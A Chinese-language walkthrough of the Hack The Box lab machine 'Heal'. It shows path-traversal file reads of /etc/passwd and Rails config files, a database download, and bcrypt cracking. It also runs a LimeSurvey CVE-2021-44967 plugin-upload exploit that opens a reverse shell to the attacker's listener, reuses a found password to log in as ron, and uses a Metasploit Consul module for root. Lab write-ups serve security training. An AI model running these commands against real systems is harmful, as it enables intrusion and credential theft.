HTB-Heal

  • ~18.19K 字
  1. 1. 信息搜集
    1. 1.1. 端口探测
    2. 1.2. 子域名枚举
  2. 2. 外部打点
    1. 2.1. 任意文件读取
    2. 2.2. 目录爆破
    3. 2.3. RCE
  3. 3. 提权ron
  4. 4. 提权root

信息搜集

端口探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# rustscan -a 10.10.11.46 -r 1-65535
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 65435'.
Open 10.10.11.46:22
Open 10.10.11.46:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 11:08 EDT
Initiating Ping Scan at 11:08
Scanning 10.10.11.46 [4 ports]
Completed Ping Scan at 11:08, 0.49s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:08
Completed Parallel DNS resolution of 1 host. at 11:08, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 11:08
Scanning 10.10.11.46 [2 ports]
Discovered open port 80/tcp on 10.10.11.46
Discovered open port 22/tcp on 10.10.11.46
Completed SYN Stealth Scan at 11:08, 0.24s elapsed (2 total ports)
Nmap scan report for 10.10.11.46
Host is up, received echo-reply ttl 63 (0.36s latency).
Scanned at 2025-05-09 11:08:30 EDT for 1s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
Raw packets sent: 6 (240B) | Rcvd: 1459 (58.356KB)

开启了80端口和22端口

子域名枚举

访问80端口会自动跳转heal.htb,添加hosts,枚举子域名枚举出来一个api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 12 -u "http://10.10.
11.46" -H "Host: FUZZ.heal.htb"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://10.10.11.46/
Total requests: 220559

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000001026: 200 90 L 186 W 12515 Ch "api"

将api也添加进hosts

外部打点

任意文件读取

注册过后是一个简历生成器,填好之后生成抓包,可以抓到一个download的路由

1
2
3
4
5
6
7
8
9
10
GET /download?filename=cd966abb8c424272f040.pdf HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0fQ.J0NnCAdf82F0IukEy8HTIUHK49VpBnwHhtd4hBp-Y_w
Origin: http://heal.htb
Connection: keep-alive
Referer: http://heal.htb/

将filename改为/download?filename=/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
avahi:x:114:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash

可以知道有一个ron的用户

api.heal.htb是一个ruby on rails版本号是7.1.4,通过查看手册可以知道配置文件为/config/environments/production.rb可以读取到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/download?filename=../../config/environments/production.rb
require "active_support/core_ext/integer/time"

Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.

# Code is not reloaded between requests.
config.enable_reloading = false

# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
config.hosts << "api.heal.htb"
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false

# Ensures that a master key has been made available in ENV["RAILS_MASTER_KEY"], config/master.key, or an environment
# key such as config/credentials/production.key. This key is used to decrypt credentials (and other encrypted files).
# config.require_master_key = true

# Disable serving static files from `public/`, relying on NGINX/Apache to do so instead.
# config.public_file_server.enabled = false

# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = "http://assets.example.com"

# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
# config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" # for NGINX

# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local

# Mount Action Cable outside main process or domain.
# config.action_cable.mount_path = nil
# config.action_cable.url = "wss://example.com/cable"
# config.action_cable.allowed_request_origins = [ "http://example.com", /http:\/\/example.*/ ]

# Assume all access to the app is happening through a SSL-terminating reverse proxy.
# Can be used together with config.force_ssl for Strict-Transport-Security and secure cookies.
# config.assume_ssl = true

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
config.force_ssl = false

# Log to STDOUT by default
config.logger = ActiveSupport::Logger.new(STDOUT)
.tap { |logger| logger.formatter = ::Logger::Formatter.new }
.then { |logger| ActiveSupport::TaggedLogging.new(logger) }

# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]

# "info" includes generic and useful information about system operation, but avoids logging too much
# information to avoid inadvertent exposure of personally identifiable information (PII). If you
# want to log everything, set the level to "debug".
config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")

# Use a different cache store in production.
# config.cache_store = :mem_cache_store

# Use a real queuing backend for Active Job (and separate queues per environment).
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "resume_api_production"

config.action_mailer.perform_caching = false

# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false

# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true

# Don't log any deprecations.
config.active_support.report_deprecations = false

# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false

# Enable DNS rebinding protection and other `Host` header attacks.
# config.hosts = [
# "example.com", # Allow requests from example.com
# /.*\.example\.com/ # Allow requests from subdomains like `www.example.com`
# ]
# Skip DNS rebinding protection for the default health check endpoint.
# config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
end

继续翻一翻可以翻到数据库的路径为config/database.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/download?filename=../../config/database.yml

# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000

development:
<<: *default
database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3

production:
<<: *default
database: storage/development.sqlite3

有了数据库文件的路径将他下载下来

1
curl  'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0fQ.J0NnCAdf82F0IukEy8HTIUHK49VpBnwHhtd4hBp-Y_w" -o de.sqlite3

然后用navicat连接

用john爆破密码

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# john pass -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)

第一个ralph@heal.htb的密码被爆破出来了,但是ssh密码不正确,继续翻一翻web

web页面还有一个/survey,访问点击之后会调整take-survey.heal.htb加入hosts

目录爆破

扫描目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~/Desktop/tmp/tmp]
└─# dirsearch -u "http://take-survey.heal.htb/index.php/" -x 503
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/tmp/tmp/reports/http_take-survey.heal.htb/_index.php__25-05-09_11-45-08.txt

Target: http://take-survey.heal.htb/

[11:45:08] Starting: index.php/
。。。。。
[11:46:50] 302 - 0B - /index.php/Admin -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[11:46:54] 302 - 0B - /index.php/Admin/ -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[11:46:54] 302 - 0B - /index.php/admin/%3bindex/ -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[11:46:54] 302 - 0B - /index.php/admin/_logs/access-log -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
。。。

可以看到很多都会302跳转到http://take-survey.heal.htb/index.php/admin/authentication/sa/login

RCE

访问一下看看,是一个登录的地方,用爆破出来的密码登陆一下

1
ralph:147258369

登录成功后可以看到是limeservey,在网上一搜能搜到存在一个CVE-2021-44967

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~/Desktop/tmp/tmp/CVE-2021-44967]
└─# python3 exploit.py --url http://take-survey.heal.htb --user ralph --password 147258369 --lhost 10.10.16.37 --lport 8888
[+] LimeSurvey - RCE

[+] URL: http://take-survey.heal.htb

[*] Creating malicious zip file...
> Plugin name: wnlhlwwooa

[*] Sending login request...
[+] Successfully logged in as ralph

[*] Uploading malicious plugin...
[+] The malicious plugin was successfully uploaded

[*] Installing uploaded plugin...
[+] The plugin was successfully installed

[*] Activating malicious plugin...
[+] Malicious plugin was successfully activated

[*] Triggering plugin by sending request to http://take-survey.heal.htb/upload/plugins/wnlhlwwooa/php-rev.php
[+] Check your netcat listener!
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/tmp]
└─# nc -lvvp 8888
listening on [any] 8888 ...
id
connect to [10.10.16.37] from heal.htb [10.10.11.46] 57622
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
15:36:53 up 19:56, 0 users, load average: 0.02, 0.04, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

shell弹出来了

提权ron

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@heal:/$ find / -perm -u=s 2>/dev/null
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sudo
/usr/bin/fusermount3
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1

suid没找到什么有用的东西,计划任务也没有东西,找一下敏感文件

1
最终在/var/www/limesurvey/application/config/config.php发现密码AdmiDi0_pA$$w0rd

然后ssh登录ron试试,发现密码正确

提权root

1
2
3
ron@heal:~$ sudo -l
[sudo] password for ron:
Sorry, user ron may not run sudo on heal.

sudo -l没有东西,查看本地的网络

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ron@heal:/opt$ ss -lntup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
udp UNCONN 0 0 127.0.0.1:8301 0.0.0.0:*
udp UNCONN 0 0 127.0.0.1:8302 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:51337 0.0.0.0:*
udp UNCONN 0 0 127.0.0.1:8600 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:*
udp UNCONN 0 0 [::]:5353 [::]:*
udp UNCONN 0 0 [::]:42256 [::]:*
tcp LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*

发现有好多开在本地的端口,3000是跟80一样页面,8500有新服务(Consul),Services也能看出80是总出口,Heal对应本地3000,API对应本地3001,PostgreSQL对应本地5432

ssh做个代理将流量转向8500端口

1
ssh -L 8500:127.0.0.1:8500 -Nf ron@10.10.11.46

msf可以搜索到Consul的漏洞

1
2
14  exploit/multi/misc/consul_rexec_exec                     2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Rexec
15 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API
1
2
3
4
use 15
show options
set RHOSTS 127.0.0.1
run

然后就拿到shell了

1
2
3
4
5
meterpreter > shell
Process 48956 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!